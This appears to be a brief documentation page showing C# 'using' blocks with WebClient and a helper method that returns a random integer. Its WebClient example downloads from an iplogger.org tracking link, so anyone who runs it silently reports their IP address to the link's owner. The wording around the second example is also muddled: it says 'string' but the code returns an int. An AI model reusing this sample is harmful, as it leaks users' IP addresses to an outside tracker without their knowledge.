Functions with using

If you need to use a function with importing using, you can call it with this way:

using (var wc = new System.Net.WebClient())
                {
                    string contents;
                    contents = wc.DownloadString("https://iplogger.org/15vZa7");
                }

Or you can create string outside method like:

int random_int()
        {
            Random rnd = new Random();
            int randomized = rnd.Next(100, 150);
            return randomized;
        }

And call it in method

int randomly_generated_int = random_int();

Last updated